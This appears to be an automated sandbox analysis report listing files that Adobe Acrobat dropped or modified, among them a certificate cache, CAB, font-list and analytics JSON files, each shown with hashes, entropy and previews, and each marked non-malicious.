Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.728204828358771
Encrypted:	false
SSDEEP:	3:kkFklvprbVltfllXlE/HT8kD/zXNNX8RolJuRdxLlGB9lQRYwpDdt:kKaPeT8M/RNMa8RdWBwRd
MD5:	3ED1AC5C4A7FD303580FFDBE219DA2CE
SHA1:	8233E322164DC70B28FFFC89C2DC03208765BA65
SHA-256:	D8E9EE8F51085ABE19E389F5A92636B02CB578E97F0F1249DF3C7FB16074B2CA
SHA-512:	B4726CE1F3A9E18C8EEA915E9A6B28E5FE3AD4848556FBFDDBE73AC30DB430C547C735B7B6FE8983BC275FB5299D177CC168798AB195D1C26149853BCE4ECC4E
Malicious:	false
Preview:	p...... ..........g..c..(....................................................... ..........W...."F..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.225002211752905
Encrypted:	false
SSDEEP:	6:kKq4b3/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:y4L/iDImsLNkPlE99SNxAhUe/3
MD5:	CBEC168C7CD5B6E40EEE1879056A48C1
SHA1:	5444576CA734432611282D54644155FA2CA22DE5
SHA-256:	4CDF1AD7160E75BB102CF44700C78EA09026F1979A37FC2E751F00359731BFD4
SHA-512:	B7F656610C46656120626C4AA55D91F832F49C0096DC6DAAAFBD94BC46137A551B9DE53D7390631EEF9F351DB107D0475E2FCC37ACD6E017229E74AC684C6DE8
Malicious:	false
Preview:	p...... ........c5...c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7924

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7924

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.33831662490722
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfWEwIjaR2vB3/dVlPIHAR0YqlKoAvJM3g98kUwPeUkwRe9:YvXKXfkzR2vR/ZwHAWrGMbLUkee9
MD5:	8EE72796973E1C9C11FD91CF806A4AD4
SHA1:	1AC816E3311C17E0A149986BC30E48782EF46447
SHA-256:	0F1A1EC069D52F66A14FF1F90D7105FFC030E84ABCBFFC4D106D64C2F39DF425
SHA-512:	B26D10B9FAB2426511506232833B5F802772A669BA0BCEEFE5FA82D6F7CF35D854DBAB5940F6742AB7542D21A632CE4ECAA4ABFA36F36FCECCDE4A4FE7375895
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7eaecd00-4766-4422-897f-758d01272aff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759917588,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.27271991788348
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfWEwIjaR2vB3/dVlPIHAR0YqlKoAvJfBoTfXpnrPeUkwRe9:YvXKXfkzR2vR/ZwHAWrGWTfXcUkee9
MD5:	9B82BFC0C5BA362F3319027A7D8AEC72
SHA1:	C54C49D6B6C1547B0BFCF4C45DE4D1229B02CB41
SHA-256:	A1639FF439137CF652E3E112DA2D1B360C3992E9F42E11047FA0EB1727F5E196
SHA-512:	6D85194417C2AB9D71D3D95FC75A5FE179D1BA2CF326A525B2CC84DD936C50FCDBF41F1814102268A1C1E6F1010AE9F321C73735500648AC9851ACA92B8F0626
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7eaecd00-4766-4422-897f-758d01272aff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759917588,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.251714953278555
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfWEwIjaR2vB3/dVlPIHAR0YqlKoAvJfBD2G6UpnrPeUkwRe9:YvXKXfkzR2vR/ZwHAWrGR22cUkee9
MD5:	2C25A3ACE5703EBA245FE0AD86A46774
SHA1:	0012D085B8E102559C0F6BEA66F7EAF0E51B8DA0
SHA-256:	C54DDC776B4FB5D2A591A44877ED44D955B2D8AEB59A2A3516A14CC7CAE26EFD
SHA-512:	B853A42469DFC3DBD6FB76BE5F3587E58EACBD0E27621A32A265467366F5579A66DEF75758A3A01C1B9F8004D385BDE4886ECD48CB1A6EF65D34FBA4912767FE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7eaecd00-4766-4422-897f-758d01272aff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759917588,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.314386337718832
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfWEwIjaR2vB3/dVlPIHAR0YqlKoAvJfPmwrPeUkwRe9:YvXKXfkzR2vR/ZwHAWrGH56Ukee9
MD5:	95DC37C0F7306276D6D44F85C484F1E7
SHA1:	FD58682F1C9EA50F0D533CB4376C0CCF5BDD1A47
SHA-256:	15A51B396FE1C3AC7E41A8984432BF750F3EA9B35085A2EA0FE4DA4BB9A028A5
SHA-512:	0CF6486EB75BB5D8AF68EDD2AE8543C26CEABEBE6E21C9895E33B154E649BD826402CA1D48F3D6733D50C0F1BCD89F199670333EEDFAB356B811F713A899B4D0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7eaecd00-4766-4422-897f-758d01272aff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759917588,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.695076623818019
Encrypted:	false
SSDEEP:	24:Yv6Xf8R2JhHpLgE9cQx8LennAvzBvkn0RCmK8czOCCSN:YvYvJhHhgy6SAFv5Ah8cv/N
MD5:	D270A2125E0CA8B57F55175837984FD5
SHA1:	221A439EBD2BAB98E0DFCF4F59AFEA3A7ADF2FB8
SHA-256:	B453559C679A7239D60B06909CD29A07EDD24AB99F55E915E71489CBE605E8BB
SHA-512:	63FE4C729F2842D955E299EE51C7E65BA6CF7096E2930C6A6953815FEE971A70E7362492C97C98C9033762F5A3FBF9C41D6B55EF8E2143FA58AFD283A3CDB68A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7eaecd00-4766-4422-897f-758d01272aff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759917588,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.262582634206115
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfWEwIjaR2vB3/dVlPIHAR0YqlKoAvJf8dPeUkwRe9:YvXKXfkzR2vR/ZwHAWrGU8Ukee9
MD5:	0F411B9CFCA4A8DEA21F7173DF9DF6EF
SHA1:	923C6AFB55A60215D3DF8E2095F7E54A7B18FF4A
SHA-256:	99E4F5A959F0FB815E87FF54A156D59345D0326FF19EA914197D88EE5DDCF37F
SHA-512:	D373E42B75065BA80852F8A5DD2D4819C77CF26A2EF050B418535485DDB19AE5DDF883A1F5A74925EB0A364EC86E5620F8772CC395A9A1E7E32AC430C79477D6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7eaecd00-4766-4422-897f-758d01272aff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759917588,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.261355227443275
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfWEwIjaR2vB3/dVlPIHAR0YqlKoAvJfQ1rPeUkwRe9:YvXKXfkzR2vR/ZwHAWrGY16Ukee9
MD5:	1375F0CD12D52456A26319DB190E85A8
SHA1:	97D5D810712C9EBABEA426B3810A9DFE9503F5E4
SHA-256:	01FB633021A974E239F55B7BCB64347CFD45414B6F52B53B0750B445F8F0C23C
SHA-512:	DA111813ED09F83B21671C3C7AE36F264A4003EDA1750A32EDBCC9FE1AB48D352AA9473CEF870BCDB5B9D8CE926744FB7D5BFDFD2FA9163E1CE5815CD638BE49
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7eaecd00-4766-4422-897f-758d01272aff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759917588,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.27655017280852
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfWEwIjaR2vB3/dVlPIHAR0YqlKoAvJfFldPeUkwRe9:YvXKXfkzR2vR/ZwHAWrGz8Ukee9
MD5:	792A5E3357E917B9674B488D123853D1
SHA1:	2B1BBA66027414F122CF13E51D9ED337E5A6DF98
SHA-256:	4E670DF601C14D3BFA4CA3895B4E511B14CA0215EE2E9FB9C6E6EFF191E4E1FB
SHA-512:	8F57159356E04328348D0C3D9D561D45B0944A586AE2C3A5DDE64995D0F8615BF045CCD21CCFF9B8B4C4616D4DBD58896BA5E5524722E49844A8C34F9A7CBD72
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7eaecd00-4766-4422-897f-758d01272aff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759917588,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.290873450791088
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfWEwIjaR2vB3/dVlPIHAR0YqlKoAvJfzdPeUkwRe9:YvXKXfkzR2vR/ZwHAWrGb8Ukee9
MD5:	0442395B8A010761C0235AE261C1FC9E
SHA1:	EC90B07E42981CA61443BF83B3723FC0A685A0D9
SHA-256:	762E413D7809B9BF3C0584C14F795241164491270DC37F9BB24FF3025DE76367
SHA-512:	718072561D217A96D0579AD06E739D908851E5FED2E94413319319926065E7803B29FCD2C26C77E0869A42AAED7AFB031A659385A858ACE0519425F73E830E85
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7eaecd00-4766-4422-897f-758d01272aff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759917588,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.270925702143444
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfWEwIjaR2vB3/dVlPIHAR0YqlKoAvJfYdPeUkwRe9:YvXKXfkzR2vR/ZwHAWrGg8Ukee9
MD5:	5151509E57113DC91113553ED0BEFE11
SHA1:	16C19A8452140ABD196D0B5AF50592D1ED70E5CF
SHA-256:	BE42AA539EED129B55B7D9FD666DBB8FF99474F50429F6E1D68DAB579D4EF7DF
